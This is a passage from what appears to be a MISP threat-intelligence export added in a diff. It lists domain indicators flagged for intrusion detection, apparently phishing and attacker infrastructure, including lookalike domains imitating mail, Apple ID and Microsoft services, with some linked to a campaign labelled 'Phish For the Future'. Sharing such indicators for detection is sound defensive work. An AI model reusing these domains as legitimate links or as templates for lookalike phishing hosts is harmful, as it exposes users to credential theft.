"5ede974a-96bc-4de2-9a3f-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "maillinkservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18997", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-9774-4c94-9234-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mnrsrvrer.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18742", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-afd0-4e7b-a76d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hkdrillonline.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18998", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-c684-4c87-9e52-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mvrsrvrer.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18743", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-9908-4265-9d9c-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hostsecuremail.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18999", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-9d4c-4204-83e2-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "imgsrvrer.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18744", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-c774-403d-88f0-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailannounceservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19000", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-1f50-44e9-b3a6-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "nrgrsrvrer.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18745", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-322c-450d-ad4a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serverforshort.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19001", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-07ac-483b-97b8-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "minrsrvr.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18746", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-b478-4eef-87bf-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hathwaynetwork.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19002", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-be08-4f6d-86b8-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "intrsrvrer.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18747", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-4514-446e-b980-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "servermain43.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19003", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-6654-47da-adb0-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-msrgr.info", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18748", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-8024-4293-b1ec-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainsserver4f.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19004", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-7df4-4194-9704-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-oa-en-us.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18749", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-0440-45bf-af15-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainblacklistcheck.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19005", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-74c4-4434-a43a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mrgrhr.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "mrgrhr.com" + } + } + ] + }, + { + "id": "18750", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-4a5c-467a-93ee-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serversap54.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19006", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-c058-4beb-ba35-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-nh-en-us.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "com-nh-en-us.com" + } + } + ] + }, + { + "id": "18751", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-e4d8-40c7-bb37-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "sapserverhike.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19007", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-6c8c-46e5-b610-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-io-en-us.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18752", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-b5e8-4554-98f1-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainserveractive.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19008", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-18c0-4297-9099-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "msrdr.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18753", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-583c-4616-a682-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "netsecurehostingmy.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19009", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-ce54-4e66-a5fd-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "msrwr.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18754", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-bf8c-42fc-bc23-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "pageredirectservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19010", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-8898-4c9a-8424-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mgrsr.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18755", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-8bac-43ad-88c1-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "emailbaseserverhl.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19011", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-d518-4de6-90a3-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-en-us.co.uk", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18756", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-abc8-4549-93d6-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "logincontrolserver.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19012", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-2e18-429a-be6d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-er-en-us.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18757", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-dc28-4fac-bc85-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "baseserveremailbg.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19013", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-9e88-4d0c-8afa-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-ar-en-us.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18758", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-f004-43fc-91f8-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "linkforwrder.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19014", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-f404-4140-99d1-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "secureserver9898.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18759", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-1060-4d92-a2c9-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailsecureservers.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19015", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-40e8-417c-892e-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "deferrer.website", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18760", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-1d98-411f-854f-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailserveroutlook.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19016", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-571c-406b-835a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "look-com.org", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18761", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-6e00-4107-b39f-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "websecurehostings.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19017", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-d024-4581-b7dc-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-com.org", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18762", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-d254-42f4-8dce-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "anothershortnr.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19018", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-643c-42d9-bae7-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ppleid.org", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18763", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-83c0-4085-9855-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailserverdirect3994.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19019", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-4f78-44e0-b1d4-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-biz.website", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18764", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-898c-4a02-9d5c-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailserver39.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19020", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-899c-409f-b5d0-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-com-us.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18765", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-9a00-4765-a6a3-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "emailserver4859.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19021", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-e6e8-43d0-9760-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-com.website", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18766", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-a3b4-404d-aab6-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "linkfollowservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19022", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-b21c-4c11-afb7-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-hl-en-us.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18767", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-d928-4ccf-9dfe-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "netsecuremailhosting.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19023", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-6964-4b95-96e4-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-mail-us.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18768", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-292c-4c75-9e27-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailserviceloginonline.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19024", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-d77c-4cf9-8adc-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-mail.net", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18769", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-7354-4483-95e8-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailauthorizationservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19025", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-15ec-4c50-8e7e-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-us-en-us.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18770", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-ef18-4011-a98e-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailauthservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19026", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-2518-4f2b-a1c2-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webmailmanageruk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18771", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-6c6c-4931-8c5a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "trackserviceonline.xyz", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19027", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-5f3c-4034-8163-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "websitemanagerusa.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18772", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-138c-440a-9b4f-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "affliatedomainservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19028", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-19e4-4a62-b752-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "transferserver33.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18773", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-d3ac-4247-822d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "upgradetravelservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19029", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-df18-4891-b6a8-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "websiteadminuk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18774", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-a390-4424-8619-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "com-authmail.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19030", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-2214-4607-80a7-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "budgtoffmy.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18775", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-b44c-48af-9023-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webredirect.click", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19031", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-b2f0-4a05-ba80-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "budgtoffru.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18776", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-1134-4ece-8e78-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "javaservermy.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19032", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-9ae8-4036-9084-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serverforhelplux.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18777", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-22b8-40e6-afe3-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailcommute.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19033", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-5aa4-4e2b-82b2-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serverforhelpmy.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18778", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-e93c-400b-8a1d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "shortenup.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19034", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-f224-46ff-b495-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "linuxbasicru3.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18779", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-e350-4f53-baba-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "assuredreturnplan.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19035", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-4ac0-4551-a821-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "nigeriaoilleaks.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18780", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-da3c-4adb-904b-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "optionaldesigners.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19036", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-602c-4aa9-bbb0-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ondemand.pushthisurl.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18781", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-e7d8-4879-aa9c-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "post-manager.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19037", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-a220-4201-9852-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "saferedirect.pw", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18782", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-6d20-4054-87fc-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "racksackserveruk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "19038", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974c-0c50-4fca-ba3b-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646028", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "shortserver1.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18783", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-dc24-4f46-8aff-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "netgeoserversg.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18784", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-693c-4ffc-97a6-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "blogserverlx.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18785", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-7674-4e17-9971-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "dotnetserverhk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18786", + "type": "domain", + "category": 